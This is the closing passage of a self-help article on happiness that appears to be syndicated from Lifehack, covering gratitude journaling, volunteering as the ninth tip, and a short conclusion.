Being grateful is truly a blessing. Through gratitude, we learn that there is always something beautiful going on in our lives. Even during the darkest of days, you can still be grateful for something as simple as getting eight hours of sleep or having a stranger saying hello to you on the street.

To start practicing gratitude, all you have to do is begin reciting the things you are grateful for daily. One popular method for showing gratitude is to grab a journal and to write down three things each day that you are grateful for.

After a while, you will begin to notice that your perspective towards life has shifted and you will begin looking for the positive rather than focusing on the negative!

You’ll find it easier to focus on all the things that you are grateful for without trying, which will being a great sense of joy to your everyday life. This comes in handy especially during times of stress; in these times, remembering the things you are grateful for can be incredibly beneficial.

9. Volunteer Your Time 

As Gandhi once said, “The best way to find yourself is to lose yourself in the service of others.” We all get a little too tangled up in our own lives and thoughts sometimes, that we can forget there is a whole world out there filled with situations and people who are just as complex as we are.

Volunteering helps shed some light on that reality and it gives you the opportunity to reach out, help others, and make a difference in the community or in the world. When you have the ability to make a major difference in someone’s day, happiness is sure to flock to you.

Helping others will also make you consider all the things in your own life to be grateful for, and again, this gratitude will take you quite far in your pursuit of happiness.

Happiness is All Around

While happiness may seem hard to obtain, the truth is that it is all around us and you just need to know where to look, what to do, and how to appreciate the pockets of happiness in life.

By following the guidance within these 9 suggestions above, you will be living the happy life that you have always wanted in no time.

Featured photo credit: Photo by Jenn Evelyn-Ann on Unsplash via unsplash.com

The post Mastering The Art of Happiness (9 Tips to Get Started) appeared first on Lifehack.

]]> https://briefnews.eu/mastering-the-art-of-happiness-9-tips-to-get-started-6/feed/ 0